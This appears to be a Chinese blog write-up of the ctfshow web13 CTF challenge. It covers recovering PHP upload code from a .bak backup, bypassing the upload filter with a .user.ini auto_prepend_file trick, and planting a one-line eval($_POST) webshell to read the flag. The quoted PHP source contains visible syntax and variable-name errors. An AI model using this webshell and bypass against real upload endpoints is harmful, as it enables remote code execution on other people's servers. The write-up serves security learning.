ctfshow web13

 尝试  常规姿势上传文件

打开网站

初步判定为文件上传漏洞。

随便选择几个文件上传,提示错误



不选择任何文件直接点提交也会报错



打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤



一头雾水,只能换个思路。 



------------------------------------------------------这是分割线------------------------------------------------------------

尝试  获取网站源码

通过备份压缩文件获取,常见的文件后缀名有以下这些

.rar  .zip  .7z  .tar.gz  .bak  .txt  .old  .temp

 发现.bak文件能够获取源码

敏感文件泄露的方式有很多,例如  .git、.svn、.hg源码泄露等

常见的利用方式和工具参考这篇文章

k常见的web源码泄露,以及利用方式、利用工具


源代码分析:文件上传漏洞

<?php 
	header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];//获取上传文件的原始文件名。(包含后缀名)
    $tmp_name = $_FILES['file']['tmp_name'];//获取上传文件在服务器的临时存储路径。
    $size = $_FILES['file']['size'];//获取文件的大小,单位为字节。
    $error = $_FILES['file']['error'];//获取文件上传过程中是否发生错误,返回错误代码。
	
    $arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
    //使用 pathinfo() 函数解析文件路径,提取文件的扩展名(extension)
    //并存储到 $ext_suffix 变量中。

    if ($size > 24){
		die("error file zise");
	}//大小限制

	if (strlen($filename)>9){
		die("error file name");
	}//文件名长度限制(包括扩展名)

	if(strlen($ext_suffix)>3){
		die("error suffix");
	}//扩展名长度限制

	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }//这两个都是限制文件名里面没有php字样
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}
    //使用 move_uploaded_file() 函数将临时文件移动到指定目录中(此处为当前目录下)。
    //如果上传成功,输出 “文件上传成功!”,否则输出 “文件上传失败!”。
 ?>

 那显而易见,就是上传我们含有构造payload的文件,只是有一些限制。

目标就是写个一句话木马,上传上去。绕过方式也很简单,利用.user.ini文件


.user.ini文件妙用

这里就非常通俗易懂的说一下它的作用,如有口误不必在意(bushi

.user.ini 是一个配置文件,允许用户在特定的目录下为 PHP 运行环境设置一些参数。甚至可以覆盖某些php的全局设置。就比如说在某个目录下有.user.ini文件和1.php文件,你就可以设置.user.ini文件里面的一些参数,1.php执行的时候就会优先按照.设置的来。

至于在文件上传漏洞中主要的参数也就两个  auto_prepend_file  和   auto_append_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。而autu_append_file无非就是加到文件底部(ps:不过一般还是建议加在顶部,因为文末如果有exit()会无法调用到)

示例:auto_prepend_file = "/path/to/prepend.php"

修改数据包,上传含有payload的文件(也可以在本地把这两个文件写好再上传)

先上传.user.ini文件,其中的1.txt就是我们即将上传的带有一句话木马的文件

现在上传1.txt文件

ps:不管是写成<?php eval($_POST['a']);还是<?= eval($_POST['a']);形式,亦或者是GET方式,经过我测试都可以成功

提交参数,获取flag

通过火狐hackbar插件,在/upload.php目录下提交参数

a=print_r(glob('*'));
//当然,用scandir()函数也可以,print_r(scandir('.'));

结果如下 

得到一个文件名巨长的文件,用highlight_file()函数访问,得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值